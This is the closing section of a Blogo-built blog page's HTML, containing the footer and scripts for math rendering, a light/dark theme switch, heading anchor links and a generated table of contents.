582        <div class="row" style="display:inline-block;">
583          Blog made with <a href="http://github.com/arnaucube/blogo/"
584                            target="_blank" style="color: gray;text-decoration:none;">Blogo</a>
585        </div>
586      </div>
587    </footer>
588
589    <script>
590    </script>
591    <script src="js/external-links.js"></script>
592    <script>hljs.initHighlightingOnLoad();</script>
593    <script defer src="js/katex/katex.min.js"></script>
594    <script defer src="js/katex/auto-render.min.js"></script>
595    <script>
596      document.addEventListener("DOMContentLoaded", function() {
597        renderMathInElement(document.body, {
598          displayMode: false,
599          // customised options
600          // • auto-render specific keys, e.g.:
601          delimiters: [
602            {left: '$$', right: '$$', display: true},
603            {left: '$', right: '$', display: false},
604            {left: "\\[", right: "\\]", display: true},
605            {left: "\\(", right: "\\)", display: false},
606            {left: "\\begin{equation}", right: "\\end{equation}", display: true}
607          ],
608          // • rendering keys, e.g.:
609          throwOnError : true
610        });
611      });
612
613      ///
614      let theme = localStorage.getItem("theme");
615      if ((theme === "light-theme")||(theme==null)) {
616          theme = "light-theme";
617          document.getElementById("themeSwitcher").checked = false;
618      } else if (theme === "dark-theme") {
619          theme = "dark-theme";
620          document.getElementById("themeSwitcher").checked = true;
621      }
622      document.body.className = theme;
623      localStorage.setItem("theme", theme);
624
625      function switchTheme() {
626        theme = localStorage.getItem("theme");
627        if (theme === "light-theme") {
628          theme = "dark-theme";
629          document.getElementById("themeSwitcher").checked = true;
630        } else {
631          theme = "light-theme";
632          document.getElementById("themeSwitcher").checked = false;
633        }
634        document.body.className = theme;
635        localStorage.setItem("theme", theme);
636
637        console.log(theme);
638      }
639    </script>
640    <script>
641    function tagLinks(tagName) {
642      var tags = document.getElementsByTagName(tagName);
643      for (var i=0, hElem; hElem =  tags[i]; i++) {
644        if (hElem.parentNode.className=="row postThumb") {
645          continue;
646        }
647        hElem.id = hElem.innerHTML.toLowerCase().replace(" ", "-");
648        hElem.innerHTML = "<a style='color:black!important;' href='#"+hElem.id+"'>"+hElem.innerHTML+"</a>";
649      }
650    }
651    tagLinks("h2");
652    tagLinks("h3");
653    tagLinks("h4");
654    tagLinks("h5");
655    </script>
656    <script>
657function generateTOC(tocContainerId = "toc") {
658    const tocContainer = document.getElementById(tocContainerId);
659    if (!tocContainer) return;
660
661    const headings = document.querySelectorAll("h2, h3, h4, h5, h6");
662    if (!headings.length) return;
663
664    // Generate IDs if missing
665    headings.forEach((heading, index) => {
666        if (!heading.id) {
667            heading.id =
668                heading.textContent
669                    .trim()
670                    .toLowerCase()
671                    .replace(/[^\w\s-]/g, "")
672                    .replace(/\s+/g, "-") +
673                "-" +
674                index;
675        }
676    });
677
678    const toc = document.createElement("ul");
679    let currentLevel = 1;
680    let currentList = toc;
681    const stack = [toc];
682
683    headings.forEach((heading) => {
684        const level = parseInt(heading.tagName.substring(1), 10);
685
686        const li = document.createElement("li");
687        const a = document.createElement("a");
688
689        a.href = "#" + heading.id;
690        a.textContent = heading.textContent;
691
692        li.appendChild(a);
693
694        if (level > currentLevel) {
695            for (let i = currentLevel; i < level; i++) {
696                const nestedList = document.createElement("ul");
697
698                const lastLi =
699                    currentList.lastElementChild ||
700                    currentList.appendChild(document.createElement("ul"));
701
702                lastLi.appendChild(nestedList);
703
704                stack.push(nestedList);
705                currentList = nestedList;
706            }
707        } else if (level < currentLevel) {
708            for (let i = currentLevel; i > level; i--) {
709                stack.pop();
710            }
711            currentList = stack[stack.length - 1];
712        }
713
714        currentList.appendChild(li);
715        currentLevel = level;
716    });
717
718    tocContainer.innerHTML = "";
719    tocContainer.appendChild(toc);
720}
721
722document.addEventListener("DOMContentLoaded", () => {
723    generateTOC();
724});
725    </script>
726    <script src="js/mermaid.min.js"></script>
727
728  </body>
729</html>
730